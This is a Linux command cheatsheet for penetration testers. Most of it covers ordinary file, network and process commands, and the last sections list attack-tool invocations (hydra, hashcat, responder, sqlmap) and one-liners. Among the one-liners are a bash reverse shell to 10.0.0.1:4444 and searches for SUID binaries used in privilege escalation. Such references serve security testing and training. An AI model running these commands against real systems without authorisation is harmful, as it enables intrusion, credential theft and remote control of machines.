Linux Commands Cheatsheet

A comprehensive reference of Linux commands useful during penetration testing.

Navigation & File Operations

Command	Description	Example
pwd	Print working directory	pwd
ls	List directory contents	ls -la
cd	Change directory	cd /etc
cp	Copy files or directories	cp file.txt backup/
mv	Move/rename files or directories	mv file.txt newname.txt
rm	Remove files or directories	rm -rf directory/
mkdir	Create directories	mkdir -p dir1/dir2
touch	Create empty files	touch newfile.txt
chmod	Change file permissions	chmod 755 script.sh
chown	Change file owner	chown user:group file.txt
find	Search for files	find / -name "*.conf" 2>/dev/null
locate	Find files using database	locate password
grep	Search for patterns in files	grep -r "password" /etc/
which	Show full path of commands	which python
whereis	Locate binary, source, and man pages	whereis bash

File Viewing & Editing

Command	Description	Example
cat	Display file contents	cat /etc/passwd
less	View file with pagination	less large_file.log
more	View file with pagination	more large_file.log
head	Display first lines of file	head -n 20 file.txt
tail	Display last lines of file	tail -f /var/log/auth.log
nano	Simple text editor	nano config.php
vi/vim	Advanced text editor	vim script.py
sort	Sort file contents	sort users.txt
uniq	Remove duplicate lines	sort users.txt | uniq
diff	Compare files	diff file1.txt file2.txt
md5sum	Calculate MD5 hash	md5sum file.txt
sha256sum	Calculate SHA256 hash	sha256sum file.txt

System Information

Command	Description	Example
uname	Show system information	uname -a
hostname	Show or set hostname	hostname
uptime	Show system uptime	uptime
whoami	Show current username	whoami
id	Show user identity	id
last	Show last logged in users	last
ps	Show process status	ps aux
top	Display processes dynamically	top
htop	Interactive process viewer	htop
kill	Kill a process	kill -9 1234
free	Show memory usage	free -h
df	Show disk usage	df -h
du	Show directory space usage	du -sh /var/log
lsof	List open files	lsof -i
lsblk	List block devices	lsblk
dmesg	Display kernel messages	dmesg | grep USB

Users & Permissions

Command	Description	Example
sudo	Execute command as another user	sudo -l
su	Switch user	su - username
useradd	Create a new user	useradd -m username
userdel	Delete a user	userdel -r username
passwd	Change password	passwd username
groupadd	Create a new group	groupadd newgroup
usermod	Modify user account	usermod -aG sudo username
groups	Show group memberships	groups username
getfacl	Get file ACL	getfacl file.txt
setfacl	Set file ACL	setfacl -m u:user:rwx file.txt

Networking

Command	Description	Example
ifconfig	Configure network interface	ifconfig eth0
ip	Show/manipulate routing, devices, policy	ip addr show
ping	Send ICMP echo request	ping -c 4 8.8.8.8
traceroute	Print route packets trace	traceroute google.com
netstat	Network statistics	netstat -tuln
ss	Socket statistics	ss -tuln
nslookup	Query DNS	nslookup google.com
dig	DNS lookup	dig A google.com
host	DNS lookup	host google.com
whois	WHOIS protocol client	whois google.com
route	Show/manipulate IP routing table	route -n
arp	Address Resolution Protocol	arp -a
tcpdump	Dump network traffic	tcpdump -i eth0 port 80
wget	Download files from web	wget https://example.com/file.txt
curl	Transfer data from/to server	curl -I https://example.com
nc/netcat	TCP/IP swiss army knife	nc -lvnp 4444
ssh	Secure shell client	ssh user@hostname
scp	Secure copy	scp file.txt user@host:/path
rsync	Remote file sync	rsync -avz dir/ user@host:/path

Text Processing

Command	Description	Example
cut	Remove sections from lines	cut -d: -f1 /etc/passwd
sed	Stream editor	sed 's/foo/bar/g' file.txt
awk	Pattern scanning processor	awk '{print $1}' file.txt
tr	Translate characters	tr 'a-z' 'A-Z' < file.txt
wc	Count words, lines, characters	wc -l file.txt
xargs	Build and execute commands	find . -name "*.txt" | xargs grep "password"
tee	Read from stdin and write to stdout and files	cat file.txt | tee copy.txt

Compression & Archiving

Command	Description	Example
tar	Tape archive	tar -czvf archive.tar.gz directory/
gzip	Compress files	gzip file.txt
gunzip	Uncompress files	gunzip file.txt.gz
zip	Package and compress files	zip -r archive.zip directory/
unzip	Extract files from ZIP archive	unzip archive.zip
7z	7-Zip file archiver	7z a archive.7z directory/

Package Management

Debian/Ubuntu

Command	Description	Example
apt	Package management	apt update && apt upgrade
apt-get	Package handling utility	apt-get install package
dpkg	Package manager for Debian	dpkg -i package.deb
apt-cache	Query package cache	apt-cache search keyword

Red Hat/CentOS

Command	Description	Example
yum	Package manager	yum install package
dnf	Next-generation package manager	dnf update
rpm	RPM Package Manager	rpm -ivh package.rpm

Process Management

Command	Description	Example
ps	Report process status	ps aux | grep apache
top	Display and update sorted process info	top
htop	Interactive process viewer	htop
kill	Send signal to process	kill -9 1234
pkill	Kill processes by name	pkill apache
killall	Kill processes by name	killall firefox
bg	Put a job in the background	bg %1
fg	Bring job to foreground	fg %1
jobs	List active jobs	jobs
nohup	Run command immune to hangups	nohup ./script.sh &
screen	Terminal window manager	screen -S session_name
tmux	Terminal multiplexer	tmux new -s session_name

Pentesting Specific

Command	Description	Example
searchsploit	Search for exploits	searchsploit apache 2.4.49
msfconsole	Metasploit Framework console	msfconsole
nmap	Network mapper	nmap -sV -p- 192.168.1.1
hydra	Password cracking	hydra -l user -P wordlist ssh://192.168.1.1
john	Password cracking	john --wordlist=wordlist.txt hash.txt
hashcat	Password cracking	hashcat -m 0 -a 0 hash.txt wordlist.txt
responder	LLMNR/NBT-NS/mDNS poisoner	responder -I eth0
crackmapexec	Swiss army knife for pentesting networks	crackmapexec smb 192.168.1.0/24
enum4linux	Enumerate Windows/Samba hosts	enum4linux -a 192.168.1.1
smbclient	SMB/CIFS client	smbclient //192.168.1.1/share -U username
wpscan	WordPress scanner	wpscan --url https://wordpress.site
gobuster	Directory/file & DNS busting	gobuster dir -u http://target -w wordlist.txt
ffuf	Web fuzzer	ffuf -u http://target/FUZZ -w wordlist.txt
sqlmap	SQL injection	sqlmap -u "http://target/page.php?id=1" --dbs

Useful One-Liners

Create a reverse shell with Bash

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Create a simple HTTP server

python3 -m http.server 8000

Generate a random password

openssl rand -base64 12

Find all SUID binaries

find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

Find world-writable directories

find / -writable -type d 2>/dev/null

Scan for open ports

for p in {1..65535}; do nc -zvn 192.168.1.1 $p 2>&1 | grep -v "Connection refused"; done

Monitor file system for changes

watch -d 'ls -la /path/to/directory'

Base64 encode/decode

# Encode
echo "string" | base64
# Decode
echo "c3RyaW5n" | base64 -d

Extract all IP addresses from file

grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' file.txt | sort -u

Discover active hosts on network

for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i | grep "64 bytes"; done